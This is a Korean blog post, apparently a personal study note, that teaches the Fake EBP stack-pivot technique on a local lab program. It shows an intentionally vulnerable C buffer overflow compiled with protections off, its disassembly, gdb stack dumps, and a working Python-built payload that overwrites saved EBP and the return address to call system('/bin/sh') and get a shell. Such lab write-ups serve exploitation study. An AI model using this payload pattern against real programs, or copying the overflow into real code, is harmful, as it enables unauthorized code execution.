ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Fake EBP
    Hack/Pwnable 2015. 12. 4. 04:12

    Fake EBP는 return까지밖에 덮을수없을때 사용할수있는 기법이다.

    대부분 RTL,ROP 같은경우 RET를 덮고 그 이후에 체이닝을 하거나 ret+8까지 덮게되는데, FEBP는 조건이 RET까지밖에 못덮을때 사용할수있다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #include <stdio.h>
    
    int main(int argc, char * argv[])
    {
    	char buf[48];
    	strncpy(buf, argv[1], 56);
    	puts(buf);
    	return 0;
    }

    소스는 간단하게 RET까지만 덮을수 있게 되어있다.


    compile option

    gcc -o febp febp.c -fno-stack-protector -zexecstack -mpreferred-stack-boundary=2



       0x0804844d <+0>: push   %ebp

       0x0804844e <+1>: mov    %esp,%ebp

       0x08048450 <+3>: sub    $0x3c,%esp

       0x08048453 <+6>: mov    0xc(%ebp),%eax

       0x08048456 <+9>: add    $0x4,%eax

       0x08048459 <+12>: mov    (%eax),%eax

       0x0804845b <+14>: movl   $0x38,0x8(%esp)

       0x08048463 <+22>: mov    %eax,0x4(%esp)

       0x08048467 <+26>: lea    -0x30(%ebp),%eax

       0x0804846a <+29>: mov    %eax,(%esp)

       0x0804846d <+32>: call   0x8048340 <strncpy@plt>

       0x08048472 <+37>: lea    -0x30(%ebp),%eax

       0x08048475 <+40>: mov    %eax,(%esp)

       0x08048478 <+43>: call   0x8048310 <puts@plt>

       0x0804847d <+48>: mov    $0x0,%eax

       0x08048482 <+53>: leave  

       0x08048483 <+54>: ret    


    디스어셈블링을 하면 leaveret 가젯이보인다. 해당 가젯을 이용하여 우리는 공격할수있는데, leave와 ret의 역할을 정확히 모른다.

    leave 코드

    mov esp,ebp
    pop ebp

    ret 코드

    pop eip
    jmp eip

    leave를 통해서 ebp에 있는것을 esp로 담아주고, ebp를 pop시켜주는 역할을한다.
    우리가 RET를 leaveret으로 덮어준다면, leaveret이 이미 실행되고 또 실행되는데, 여기서 문제점이 발생한다.

    mov esp,ebp 
    pop ebp

    해당 코드를 두번실행하게되면 ebp는 결국 esp의 주소를 가리키게된다.

    페이로드는 다음과같이 짤수있다.

    ./febp $(python -c 'print "A"*4 + "system" + "AAAA" + "/bin/sh" + "A"*32 + "buf-4" + "leaveret"

    리턴값이 leavret으로 덮히면서 결국 buf를 가리키게된다.


    (gdb) x/40x $esp
    0xbffff55c: 0xbffff568 0xbffff7b9 0x00000038 0x90909090
    0xbffff56c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbffff57c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbffff58c: 0x90909090 0x90909090 0x90909090 0x42424242
    0xbffff59c: 0x43434343 0x00000002 0xbffff634 0xbffff640
    0xbffff5ac: 0x4000ecea 0x00000002 0xbffff634 0xbffff5d4
    0xbffff5bc: 0x0804a014 0x0804822c 0x401e6000 0x00000000
    0xbffff5cc: 0x00000000 0x00000000 0x6c7fee2f 0x99202bd0
    0xbffff5dc: 0x00000000 0x00000000 0x00000000 0x00000002
    0xbffff5ec: 0x08048350 0x00000000 0x40014500 0x40055999

    아무거나 덮어주고나서, 버퍼주소를 확인해보면 0xbffff560인데, 그대로 넣어보면 세그먼트폴트만 난다.
    버퍼주소를 제대로 체크하기위해서 다음과같이 코어파일을 생성한다.


    root@s0ngsari-virtual-machine:~/Desktop/study/febp# ./febp $(python -c 'print "A"*48')
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Segmentation fault (core dumped)
    root@s0ngsari-virtual-machine:~/Desktop/study/febp# ls
    core  febp  febp.c

    코어파일의 스택을 확인해보자

    (gdb) x/40x $esp-0x40
    0xbffff5c0: 0xbffff7f3 0x00000038 0x41414141 0x41414141
    0xbffff5d0: 0x41414141 0x41414141 0x41414141 0x41414141
    0xbffff5e0: 0x41414141 0x41414141 0x41414141 0x41414141
    0xbffff5f0: 0x41414141 0x41414141 0x42424242 0x43434343
    0xbffff600: 0x00000002 0xbffff694 0xbffff6a0 0x4000ecea
    0xbffff610: 0x00000002 0xbffff694 0xbffff634 0x0804a014
    0xbffff620: 0x0804822c 0x401e6000 0x00000000 0x00000000
    0xbffff630: 0x00000000 0x42e67cdc 0xb7bef923 0x00000000
    0xbffff640: 0x00000000 0x00000000 0x00000002 0x08048350
    0xbffff650: 0x00000000 0x40014500 0x40055999 0x40021000

    버퍼주소가 확연히다르다.

    buf 주소는 0xbffff5c8이된다.

    root@s0ngsari-virtual-machine:~/Desktop/study/febp# ./febp $(python -c 'print "A"*4 + "\x90\xc1\x07\x40" + "AAAA" + "\x24\xca\x19\x40" + "A"*32 + "\xc8\xf5\xff\xbf" + "\x82\x84\x04\x08"')
    AAAA��@AAAA$�@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������

    정상적으로 쉘이 따이는것을 확인할수있다.

    * buf주소를넣으면 pop ebp를통해 +4가되어, buf+4가된다. 해당주소는 시스템주소가 들어있기떄문에 곧바로 시스템이 실행된다.








    'Hack > Pwnable' 카테고리의 다른 글

    otool (object tool)  (0) 2015.12.07
    kext(kernel extension)  (0) 2015.12.07
    FPO(Frame Pointer Overwrite]  (0) 2015.12.02
    Sigreturn Oriented Programming(SROP)  (0) 2015.11.24
    Improper Null Termination (SSP)  (0) 2015.11.20

    댓글

Designed by Tistory.